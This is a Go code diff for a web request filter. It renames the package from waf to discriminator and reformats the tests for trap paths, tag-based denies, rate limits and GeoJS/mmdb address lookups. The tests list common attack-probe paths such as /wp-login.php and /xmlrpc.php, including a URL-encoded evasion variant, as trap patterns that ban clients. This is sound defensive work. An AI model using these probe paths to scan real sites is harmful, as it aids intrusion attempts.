rulesDir: writeRules( rulesDir: writeRules(t, "noted path log ^/\n"), tagDeny: "exploitsignature",
t,
"noted path log ^/\n",
), tagDeny: "exploitsignature",
}) })
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
client,
http.StatusForbidden,
requestlog.ActionClientDenied,
)
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`) wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
wantTags(t, line, "exploitsignature") wantTags(t, line, "exploitsignature")
} }
@@ -109,20 +82,12 @@ func TestTagLimitPercentLowersALimitTheLowestWinning(t *testing.T) {
tagLists: "vpn=" + vpnList + ",tor=" + torList, tagLists: "vpn=" + vpnList + ",tor=" + torList,
tagLimitPercent: "vpn:50,tor:25", tagLimitPercent: "vpn:50,tor:25",
}) })
loadLists( loadLists(t, server, map[string][]string{vpnList: {fromDE}, torList: {fromDE}})
t,
server,
map[string][]string{vpnList: {fromDE}, torList: {fromDE}},
)
// A quarter of 4 requests a minute: the second breaks the limit. // A quarter of 4 requests a minute: the second breaks the limit.
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
fromDE,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
"25 from "+tagLimitPercent) "25 from "+tagLimitPercent)
@@ -141,11 +106,7 @@ func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
// The upload's 100 bytes are over half of 199, 99. // The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
if line.LimitHit != minuteBytes { if line.LimitHit != minuteBytes {
t.Errorf( t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -155,11 +116,7 @@ func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
// fromKP, which the list does not hold, has the whole limit. // fromKP, which the list does not hold, has the whole limit.
line = s.uploadFrom(fromKP) line = s.uploadFrom(fromKP)
if line.LimitHit != "" { if line.LimitHit != "" {
t.Errorf( t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
"log line for %s has limit_hit %q, want none",
fromKP,
line.LimitHit,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through // The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
// the reputation lists. // the reputation lists.
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -68,13 +68,8 @@ func TestTagListsTagEvenARequestTheCountryListRefuses(t *testing.T) {
}) })
loadLists(t, server, map[string][]string{vpnList: {fromKP}}) loadLists(t, server, map[string][]string{vpnList: {fromKP}})
wantTags( wantTags(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
t, "asn=64511", "country=KP", "vpn")
s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
"asn=64511",
"country=KP",
"vpn",
)
} }
func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) { func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
@@ -85,11 +80,7 @@ func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
}) })
loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}}) loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}})
line := s.get( line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
fromKP,
http.StatusForbidden,
requestlog.ActionClientDenied,
)
if line.Heuristic != "deny_nets" { if line.Heuristic != "deny_nets" {
t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic) t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic)
} }
@@ -100,16 +91,9 @@ func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line = s.get( line = s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
fromDE,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.Heuristic != "active_ban" { if line.Heuristic != "active_ban" {
t.Errorf( t.Errorf("log line has heuristic %q, want active_ban", line.Heuristic)
"log line has heuristic %q, want active_ban",
line.Heuristic,
)
} }
wantTags(t, line, "vpn") wantTags(t, line, "vpn")
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic trap_paths. It reads SWW_TRAP_PATHS. // The heuristic trap_paths. It reads SWW_TRAP_PATHS.
@@ -21,11 +21,7 @@ type trapPaths struct{}
func (trapPaths) name() string { return "trap_paths" } func (trapPaths) name() string { return "trap_paths" }
func (trapPaths) check( func (trapPaths) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
path := rules.Path(rq.in) path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) && if !slices.Contains(rq.h.config.TrapPaths, path) &&
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) { !slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -39,27 +39,15 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
} }
// A client in SWW_ALLOW_NETS is not checked. // A client in SWW_ALLOW_NETS is not checked.
s.request( s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
allowed,
"/xmlrpc.php",
http.StatusOK,
requestlog.ActionForward,
)
// The query is not part of the path. // The query is not part of the path.
line := s.request( line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
client, requestlog.ActionTemporarilyBanned)
"/wp-login.php?redirect_to=x",
http.StatusTooManyRequests,
requestlog.ActionTemporarilyBanned,
)
wantRuleIDs(t, line) wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf( t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
"log line has ban_expires %q, want seven days on",
line.BanExpires,
)
} }
netblock := netip.MustParsePrefix(client + "/32") netblock := netip.MustParsePrefix(client + "/32")
@@ -89,63 +77,36 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
} }
// The next request is refused under the ban, and makes it permanent. // The next request is refused under the ban, and makes it permanent.
line = s.get( line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
client,
http.StatusTooManyRequests,
requestlog.ActionPermanentlyBanned,
)
if line.BanExpires != permanent { if line.BanExpires != permanent {
t.Errorf( t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
"log line has ban_expires %q, want permanent",
line.BanExpires,
)
} }
} }
func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) { func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
t,
"",
map[string]string{trapPaths: trapPathList},
)
line := s.request( line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusForbidden,
client, requestlog.ActionTemporarilyBanned)
"/wp-login.php?redirect_to=x",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`) wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`)
} }
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) { func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
t,
"",
map[string]string{trapPaths: trapPathList},
)
// %2577 decodes once to %77, not to w. // %2577 decodes once to %77, not to w.
s.request( s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
otherClient,
"/%2577p-login.php",
http.StatusOK,
requestlog.ActionForward,
)
s.request(client, "/%77p-login.php", http.StatusForbidden, s.request(client, "/%77p-login.php", http.StatusForbidden,
requestlog.ActionTemporarilyBanned) requestlog.ActionTemporarilyBanned)
// The ban's notes give the path as the client sent it. // The ban's notes give the path as the client sent it.
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" { if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
t.Fatalf( t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
"bans %+v, want one whose notes give the trap path /%%77p-login.php",
got,
)
} }
} }
@@ -169,12 +130,7 @@ func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
mode: observe, mode: observe,
}) })
line := s.request( line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
client,
"/xmlrpc.php",
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
// No ban was made. // No ban was made.
+1 -5
View File
@@ -236,11 +236,7 @@ func read(path string) (*maxminddb.Reader, error) {
reader, err := maxminddb.OpenBytes(data) reader, err := maxminddb.OpenBytes(data)
if err != nil { if err != nil {
return nil, fmt.Errorf( return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
path,
err,
)
} }
return reader, nil return reader, nil
+13 -46
View File
@@ -26,21 +26,11 @@ const (
testClient = "203.0.113.9/32" testClient = "203.0.113.9/32"
) )
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown( func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
germany := lookuptest.Network{ germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
ASN: "AS64496", northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
ASName: "Example Net",
Country: "DE",
}
northKorea := lookuptest.Network{
ASN: "AS64511",
ASName: "Other Net",
Country: "KP",
}
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: germany, testNetblock: germany,
@@ -72,13 +62,7 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country, Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
Answered: now, Answered: now,
}) { }) {
t.Errorf( t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
"%s has the answer %+v, want %+v, answered %s",
client,
got,
want,
now,
)
} }
} }
} }
@@ -138,9 +122,7 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
// reading due by then is done. The test sends the changes itself, as the // reading due by then is done. The test sends the changes itself, as the
// watch of a directory cannot run in a bubble. // watch of a directory cannot run in a bubble.
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole( func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -155,8 +137,7 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
other := filepath.Join(dir, "replacement.mmdb") other := filepath.Join(dir, "replacement.mmdb")
writeDatabase(t, other, "KP") writeDatabase(t, other, "KP")
//nolint:gosec // a file the test wrote replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
replacement, err := os.ReadFile(other)
if err != nil { if err != nil {
t.Fatalf("read %s: %v", other, err) t.Fatalf("read %s: %v", other, err)
} }
@@ -195,20 +176,15 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
wantCountry(t, f, "KP") wantCountry(t, f, "KP")
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 { if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
t.Errorf( t.Errorf("read at %s, with %d failures; want read now, with none",
"read at %s, with %d failures; want read now, with none", f.LastRead(), f.ReadFailures())
f.LastRead(),
f.ReadFailures(),
)
} }
wantAlerts(t, queue) wantAlerts(t, queue)
}) })
} }
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert( func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -230,12 +206,8 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
wantCountry(t, f, "DE") wantCountry(t, f, "DE")
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 { if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
t.Errorf( t.Errorf("read at %s, with %d failures; want read at %s, with one",
"read at %s, with %d failures; want read at %s, with one", f.LastRead(), f.ReadFailures(), read)
f.LastRead(),
f.ReadFailures(),
read,
)
} }
wantAlerts(t, queue, alerts.Alert{ wantAlerts(t, queue, alerts.Alert{
@@ -317,11 +289,7 @@ func writeDatabase(t *testing.T, path, country string) {
t.Helper() t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: { testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
}) })
} }
@@ -381,8 +349,7 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
t.Helper() t.Helper()
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != len(want) || if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
t.Errorf("alerts waiting %+v, want %+v", waiting, want) t.Errorf("alerts waiting %+v, want %+v", waiting, want)
} }
+6 -22
View File
@@ -211,10 +211,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
// LookUpWithoutWaiting is LookUp for a request that does not need the answer, // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
// whatever Wait says: it returns the zero Answer at once when none is kept. // whatever Wait says: it returns the zero Answer at once when none is kept.
func (g *GeoJS) LookUpWithoutWaiting( func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
ctx context.Context,
client netip.Prefix,
) Answer {
answer, _ := g.answerOrWait(ctx, client, false) answer, _ := g.answerOrWait(ctx, client, false)
return answer return answer
@@ -432,21 +429,14 @@ func (g *GeoJS) keep(
} }
if err == nil && leftOut > 0 { if err == nil && leftOut > 0 {
err = fmt.Errorf( err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
"%w %d of %d addresses",
errLeftOut,
leftOut,
len(clients),
)
} }
if err != nil { if err != nil {
g.metrics.GeoJSFailures.Inc() g.metrics.GeoJSFailures.Inc()
g.retryDelay = min( g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
max(retryDelayFactor*g.retryDelay, firstRetryDelay), maxRetryDelay)
maxRetryDelay,
)
g.retryAt = now.Add(g.retryDelay) g.retryAt = now.Add(g.retryDelay)
g.asking = false g.asking = false
@@ -492,12 +482,7 @@ func (g *GeoJS) request(
ctx, cancel := context.WithTimeout(ctx, g.timeout) ctx, cancel := context.WithTimeout(ctx, g.timeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
ctx,
http.MethodGet,
g.url,
http.NoBody,
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the request to GeoJS: %w", err) return nil, fmt.Errorf("make the request to GeoJS: %w", err)
} }
@@ -529,8 +514,7 @@ func (g *GeoJS) request(
CountryCode string `json:"country_code"` CountryCode string `json:"country_code"`
} }
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)). err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
Decode(&answers)
if err != nil { if err != nil {
return nil, fmt.Errorf("read GeoJS's answer: %w", err) return nil, fmt.Errorf("read GeoJS's answer: %w", err)
} }
+18 -78
View File
@@ -85,13 +85,8 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
began := time.Now() began := time.Now()
answer := g.LookUpWithoutWaiting(t.Context(), client) answer := g.LookUpWithoutWaiting(t.Context(), client)
if waited := time.Since(began); waited != 0 || if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
answer != (lookup.Answer{}) { t.Errorf("got %+v after %s, want no answer at once", answer, waited)
t.Errorf(
"got %+v after %s, want no answer at once",
answer,
waited,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -105,11 +100,7 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
waitForCountry(t, g, clock, client, germany) waitForCountry(t, g, clock, client, germany)
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany { if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
t.Errorf( t.Errorf("the kept answer gives the country %q, want %q", got, germany)
"the kept answer gives the country %q, want %q",
got,
germany,
)
} }
}) })
} }
@@ -129,9 +120,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
var earlier sync.WaitGroup var earlier sync.WaitGroup
earlier.Go( earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
)
defer earlier.Wait() defer earlier.Wait()
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -163,9 +152,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
}) })
} }
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt( func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -210,11 +197,7 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
synctest.Wait() synctest.Wait()
if waited != longerTimeout { if waited != longerTimeout {
t.Errorf( t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
"waited %s for the answer, want %s",
waited,
longerTimeout,
)
} }
wantFailures(t, m, 1) wantFailures(t, m, 1)
@@ -357,11 +340,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
got := g.LookUp(t.Context(), client) got := g.LookUp(t.Context(), client)
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) { if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
t.Errorf( t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
"waited %s for %+v, want no wait and no answer",
took,
got,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -412,10 +391,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, "asking GeoJS failed") || if !strings.Contains(logged, "asking GeoJS failed") ||
strings.Contains(logged, "203.0.113.9") { strings.Contains(logged, "203.0.113.9") {
t.Errorf( t.Errorf("logged %q, want the failure without the address asked about", logged)
"logged %q, want the failure without the address asked about",
logged,
)
} }
}) })
} }
@@ -454,10 +430,7 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
} }
if queue.Suppressed() != 1 { if queue.Suppressed() != 1 {
t.Errorf( t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
} }
}) })
} }
@@ -481,21 +454,11 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
clock.advance(time.Second) clock.advance(time.Second)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
wantRequests(t, geojs, 2) wantRequests(t, geojs, 2)
wantAsked( wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
t,
geojs,
1,
"203.0.113.1",
"203.0.113.2",
"2001:db8:1:2::",
"203.0.113.3",
)
}) })
} }
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff( func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -540,10 +503,7 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
asked := waitForRequests(t, geojs, requests+1) asked := waitForRequests(t, geojs, requests+1)
if len(asked[requests]) != 23 { if len(asked[requests]) != 23 {
t.Errorf( t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
"GeoJS was asked about %d clients, want 23",
len(asked[requests]),
)
} }
}) })
} }
@@ -571,11 +531,8 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
asked := waitForRequests(t, geojs, 3) asked := waitForRequests(t, geojs, 3)
if len(asked[1]) != 200 || len(asked[2]) != 1 { if len(asked[1]) != 200 || len(asked[2]) != 1 {
t.Errorf( t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
"GeoJS was asked about %d and then %d clients, want 200 and 1", len(asked[1]), len(asked[2]))
len(asked[1]),
len(asked[2]),
)
} }
}) })
} }
@@ -730,11 +687,7 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch { switch {
case addr == unplaced: case addr == unplaced:
item = map[string]any{ item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
"ip": addr,
"asn": 64512,
"organization_name": "Unknown",
}
case addr == leftOut && answers == answeringWithoutLeftOut: case addr == leftOut && answers == answeringWithoutLeftOut:
continue continue
case answers == answeringInLowerCase: case answers == answeringInLowerCase:
@@ -851,12 +804,7 @@ func newClients() func() netip.Prefix {
} }
// wantCountry checks the country g gives client. // wantCountry checks the country g gives client.
func wantCountry( func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
t *testing.T,
g *lookup.GeoJS,
client netip.Prefix,
want string,
) {
t.Helper() t.Helper()
got := g.LookUp(t.Context(), client).Country got := g.LookUp(t.Context(), client).Country
@@ -895,11 +843,7 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// gone without an answer from GeoJS. // gone without an answer from GeoJS.
func wantRequestsWithoutGeoJSAnswer( func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
t *testing.T,
m *metrics.Metrics,
want float64,
) {
t.Helper() t.Helper()
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer) got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
@@ -939,11 +883,7 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
// It then checks that client's next request does not wait but has it asked // It then checks that client's next request does not wait but has it asked
// about again in the background, after which g gives it the country want. // about again in the background, after which g gives it the country want.
func waitForCountry( func waitForCountry(
t *testing.T, t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
g *lookup.GeoJS,
clock *testClock,
client netip.Prefix,
want string,
) { ) {
t.Helper() t.Helper()
+1 -5
View File
@@ -45,11 +45,7 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
// WriteRecords writes a lookup database at path that holds each record in // WriteRecords writes a lookup database at path that holds each record in
// records for its netblock, and nothing for any other address. // records for its netblock, and nothing for any other address.
func WriteRecords( func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
tb testing.TB,
path string,
records map[string]mmdbtype.Map,
) {
tb.Helper() tb.Helper()
tree, err := mmdbwriter.New(mmdbwriter.Options{ tree, err := mmdbwriter.New(mmdbwriter.Options{
+1 -4
View File
@@ -59,10 +59,7 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
g.Load([]lookup.Answer{kept, stale}) g.Load([]lookup.Answer{kept, stale})
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) { if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
t.Errorf( t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
got,
)
} }
wantCountry(t, g, kept.Client, "FR") wantCountry(t, g, kept.Client, "FR")
+3 -9
View File
@@ -41,11 +41,9 @@ type busiest struct {
// for the topN busiest countries. // for the topN busiest countries.
func newCountries(topN int) *busiest { func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country") countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec( countries.refused = counterVec("sww_country_list_refusals_total",
"sww_country_list_refusals_total",
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.", "Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
[]string{"country"}, []string{"country"})
)
return countries return countries
} }
@@ -92,11 +90,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
// vecs returns the metrics: by AS number, those of requests and bytes; by // vecs returns the metrics: by AS number, those of requests and bytes; by
// country, the refusals by the country list as well. // country, the refusals by the country list as well.
func (b *busiest) vecs() []*prometheus.CounterVec { func (b *busiest) vecs() []*prometheus.CounterVec {
vecs := []*prometheus.CounterVec{ vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
b.requests,
b.requestBytes,
b.responseBytes,
}
if b.refused != nil { if b.refused != nil {
vecs = append(vecs, b.refused) vecs = append(vecs, b.refused)
} }
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